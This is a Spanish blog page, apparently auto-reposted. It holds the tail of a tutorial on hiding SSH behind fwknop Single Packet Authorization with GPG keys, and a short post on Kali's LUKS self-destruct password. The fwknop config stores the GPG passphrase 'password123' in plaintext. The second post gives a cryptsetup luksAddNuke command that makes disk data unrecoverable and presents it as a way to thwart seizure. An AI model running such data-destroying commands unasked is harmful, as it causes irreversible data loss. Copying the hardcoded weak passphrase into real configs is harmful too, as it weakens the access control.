Y también y al igual que con el cliente, exportamos la clave pública generada a un fichero ascii:root@kali:~# gpg -a --export 04E602A1 > servidor.ascroot@kali:~# cat servidor.asc -----BEGIN PGP PUBLIC KEY BLOCK-----Version: GnuPG v1.4.12 (GNU/Linux)mQENBFLdoG4BCAC6Tz7R9tlpuGsUpt9r/OlcEK8QpsIC5BjtYAZuzBqoav8Ce4vH1VbXtTPwYwqqj7MkCz79/RKTBfQN+2CyJzSXmLCShJ+W6py9K/sjPx4AWH9KFwHyIUQowTQbD6LssOF/fJZjKxQhqZGc8McPAFvxTogRdUFMSF01augPM/iYqx27/TZLMqVUnVR2v47PQ93Ge1wS6dh2qRKyrd+KWtMC7x3ZQAfqw6VEPQG3cWmS6is3mVdKM7dYxicVJWG7tkAF9o0ZU7kJp/bQrs39IKUNjFosMHMnIq966E38sBNd6SOuUYN+CVEArizrTieG7NTbWn/uosL+4PfX6/XDt1XnABEBAAG0H1ZpY2VudGUgPGhhY2twbGF5ZXJzQHltYWlsLmNvbT6JATgEEwECACIFAlLdoG4CGwMGCwkIBwMCBhUIAgkKCwQWAgMBAh4BAheAAAoJEEZ6z0AE5gKhGJwH/Rr/SIZNEXNHhioh8Ufnv9uOMg74+2XB2k7Icl2sB7vdGIyVKiC9nDVLHr0w2+fMddTyF7Q+JyNhepcHbwYNT025ol6JV4TNiFRplfvoac3aOdzuga/LfYYax72OVYbJ/i5rMmFrCN1NXuXJPGMle6y2UYw8LwTWqG1UCkXhn3zZ+cq3HlT4bugUmrW+uLwTs8ul3rZJOlOx0ZI7UDJ3UAmSG7cr14FjNS5ypj1JDpCDd2es2c7OO554utMT7OIFQyIzCTDCBXe88eRd2hJM8/sQztge+VXD1/3lrUWWbRRFEjRsTyBjayATgTTqMxnHOgbbd3m/EPe+sUKR/CzDYUm5AQ0EUt2gbgEIAJxbLq3urlQbEkxI0rTN2vrdRwYGyn4J+N+1zoNdXB9i2f6sfOWZrkmzUnL+QL4SddE3op/c+YnYLk3lKVwTVUO5aiXANiVy4IkNqyT6JBJKK4nHHHwxS5g35aWwL9p4CDkul88KQB9k5aQa71/ftaZINSfXejnLSZIyWKLk+glTsZbzTuktLDjv5f0F9ZAjd+nKL10d46GmstC63A8x87ZpFJfMsnEfRM0l3ZfRIcYyIaruPiisvH4s1jaS+1CE5lyDWmRRfkEZ6VxFPsy+JL3YqlxGc0ycWx8QlOgn1DGfRi4FCBsWGR4TTLR46Yu9ZWHwOIo3fRl41NIRLOLzPV0AEQEAAYkBHwQYAQIACQUCUt2gbgIbDAAKCRBGes9ABOYCoc8SB/sEOJycx6p9JPwo/eN1PP9DDyBQ73ZIpgMTcRCg6fneJ8hq4LoHMy5Y/o5+gwhwkZzv7lp7yeMP5CPD+7NQ/ggoWMOHRXXiwIWwfPBF94VCGaJkGjLU9zsI0yWv6GXmzdgFw5zrkx9psLnuK/GipshBbvyc+0lK4HpMLWHAHtkFpW9qbAZvFGNpmYa0uLBeScSJdXcEBA6eu9hUgZohP1zChXIlcYXdCSC3QOVBwt/qdQCgPzUHdGGR7mhI15Fowug3hULhejH1La7hNeXBDQICC/BQWumu6wuc/T+Tz13WKnURimSmtFemZ7DtjDdj+gBefGopd5QnfT0//E/+Bj+S=pBiY-----END PGP PUBLIC KEY BLOCK-----root@kali:~#
Una vez que hayamos creado las claves necesarias en el cliente y en el servidor, tendremos que intercambiar las públicas por scp (o por donde quieras) y firmarlas.

En el servidor importamos y firmamos la clave pública del cliente:

root@kali:~# gpg --import cliente.ascgpg: key 68E338DE: public key "Vicente2 (Cliente) " importedgpg: Total number processed: 1gpg:               imported: 1  (RSA: 1)root@kali:~# gpg --edit-key 68E338DEgpg (GnuPG) 1.4.12; Copyright (C) 2012 Free Software Foundation, Inc.This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.pub  2048R/68E338DE  created: 2014-01-20  expires: never       usage: SCE                      trust: unknown       validity: unknown[ unknown] (1). Vicente2 (Cliente) gpg> signpub  2048R/68E338DE  created: 2014-01-20  expires: never       usage: SCE                      trust: unknown       validity: unknown Primary key fingerprint: 9757 064C 2B1B 843C 4ACB  401E 1545 3B76 68E3 38DE     Vicente2 (Cliente) Are you sure that you want to sign this key with yourkey "Vicente " (04E602A1)Really sign? (y/N) yYou need a passphrase to unlock the secret key foruser: "Vicente "2048-bit RSA key, ID 04E602A1, created 2014-01-20
Y en el cliente importamos y firmamos la clave pública del servidor:

Instalando y configurando el servidor fwknopd

Una vez intercambiadas las claves, vamos a instalar y preparar fwknopd en el servidor:

root@kali:~# apt-get install fwknop-server libpcap-dev
Empezamos editando el fichero /etc/default/fwknop-server e indicamos que fwknopd se ejecute al inicio:START_DAEMON="yes"
El siguiente paso será especificar el interface y el puerto a la escucha editando el fichero /etc/fwknop/fwknop.conf:PCAP_INTF                   eth0; PCAP_FILTER                 udp port 62201; 
Finalmente sólo nos queda configurar las directivas de /etc/fwknop/access.conf de tal manera que fwknopd use GnuPG para verificar y descifrar los paquetes SPA. Fíjate que el ID de la clave del servidor es 04E602A1 y el ID de la clave del cliente es 68E338DE:SOURCE: ANY;OPEN_PORTS: tcp/22;DATA_COLLECT_MODE: PCAP;GPG_REMOTE_ID: 68E338DE;GPG_DECRYPT_ID: 04E602A1;GPG_DECRYPT_PW: password123;GPG_HOME_DIR: /root/.gnupg;FW_ACCESS_TIMEOUT: 60;
Probando el acceso al servicio ssh mediante SPA

Si habéis seguido estos sencillos pasos ya tendréis todo el entorno montado. Para probarlo vamos a arrancar fwknopd y configurar el firewall del servidor con una política por defecto de denegación en la entrada:

root@kali:~# service fwknop-server start root@kali:~# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPTroot@kali:~# iptables -A INPUT -i ! lo -j DROP
Como podréis comprobar, el acceso al puerto SSH desde el cliente está inicialmente cerrado:C:\Users\vmotos>nmap -p 22 192.168.225.129Starting Nmap 5.51 ( http://nmap.org ) at 2014-01-21 00:57 Hora estßndar romanceNmap scan report for 192.168.225.129Host is up (0.00s latency).PORT   STATE    SERVICE22/tcp filtered sshMAC Address: 00:0C:19:8D:52:DC (VMware)Nmap done: 1 IP address (1 host up) scanned in 3.55 seconds
Ahora tendremos que generar y enviar desde el cliente el paquete SPA correspondiente. Para ello utilizaremos Morpheus, un IU para Windows escrito por Daniel López que además es de código abierto.

Como veréis en el siguiente pantallazo, su configuración no puede ser más simple. Especificaremos el puerto y la dirección IP que podrá acceder a fwknopd, el tipo de cifrado PGP y la ruta de la clave privada del cliente y la clave pública del servidor:
Al introducir la frase de paso enviaremos el paquete SPA y, casi por arte de magia, el puerto 22/TCP del servicio SSH se abrirá durante el perido de tiempo especificado:


Podéis comprobarlo volviendo a escanear el puerto:C:\Users\vmotos>nmap -p 22 192.168.225.129Starting Nmap 5.51 ( http://nmap.org ) at 2014-01-21 01:12 Hora estßndar romanceNmap scan report for 192.168.225.129Host is up (0.00038s latency).PORT   STATE SERVICE22/tcp open  sshMAC Address: 00:0C:19:8D:52:DC (VMware)Nmap done: 1 IP address (1 host up) scanned in 3.23 secondsC:\Users\vmotos>
Y bueno, para terminar verificamos el log en el servidor...root@kali:~# tail -f /var/log/syslog | grep fwknopJan 20 19:00:47 kali fwknopd[13583]: SPA Packet from IP: 192.168.225.1 received.Jan 20 19:00:48 kali fwknopd[13583]: Added Rule to FWKNOP_INPUT for 192.168.225.1, tcp/22 expires at 1390262508Jan 20 19:01:48 kali fwknopd[13583]: Removed rule 1 from FWKNOP_INPUT with expire time of 1390262508.
...  así como las reglas de iptables creadas: root@kali:~# iptables -LChain INPUT (policy ACCEPT)target     prot opt source               destination         FWKNOP_INPUT  all  --  anywhere             anywhere            ACCEPT     all  --  anywhere             anywhere             state RELATED,ESTABLISHEDDROP       all  --  anywhere             anywhere            Chain FORWARD (policy ACCEPT)target     prot opt source               destination         Chain OUTPUT (policy ACCEPT)target     prot opt source               destination         Chain FWKNOP_INPUT (1 references)target     prot opt source               destination         ACCEPT     tcp  --  192.168.225.1        anywhere             tcp dpt:ssh /* _exp_1390262645 */
Sencillo ¿verdad? 

¿A qué hora llamaréis a las puertas de vuestros servicios más sigilosamente? ;)

Fuentes: 
- Single Packet Authorization - A Comprehensive Guide to Service Concealment with fwknop
- fwknop: Single Packet Authorization y port knocking
- Firewall improvement with fwknop  
- Fwknop versus Knockknock
- SinglePacketAuthorization

View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

domingo, 12 de enero de 2014

Kali Linux añade la opción de usar una contraseña de autodestrucción de los datos

Ayer se lanzó la versión 1.0.6 de Kali Linux y una de las características nuevas más interesantes es la 'Autodestrucción de emergencia de LUKS'.

La configuración de cifrado de disco completo con Kali es un proceso simple. El instalador de Kali incluye un proceso sencillo para crear particiones cifradas con LVM y LUKS. Una vez cifradas, el sistema operativo Kali requiere una contraseña en el arranque para que el sistema operativo pueda arrancar y descifrar la unidad, protegiendo así estos datos en caso de que el ordenador sea robado. La gestión de claves de descifrado y particiones se realiza mediante la utilidad cryptsetup.

Hace unos días pensaron añadir una opción "nuke" (o arma nuclear) para tener además una contraseña de arranque que destruiría, en vez de descifrar, los datos de la unidad. Para ello se ha adaptado un viejo parche de Juergen Pabel para cryptsetup que hace justamente eso, añade una contraseña de autodestrucción para cryptsetup, que cuando se utiliza, se eliminan todos los keyslots y hace que los datos de la unidad sean inaccesibles...

Ahora la opción luksAddNuke está disponible por defecto en la versión 1.0.6 de Kali. Si tenemos ya una instalación de Kali con LVM cifrado y una contraseña de descifrado, podemos añadir una adicional de autodestrucción con el siguiente comando:

root@kali:~# cryptsetup luksAddNuke /dev/sda5
Enter any existing passphrase:      (existing password)
Enter new passphrase for key slot:  (set the nuke password)

A partir de ese momento si confiscan tu equipo y te piden la contraseña para acceder a tus datos tienes un as en la manga...

Para más detalles echa un vistazo a http://www.kali.org/how-to/emergency-self-destruction-luks-kali


View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.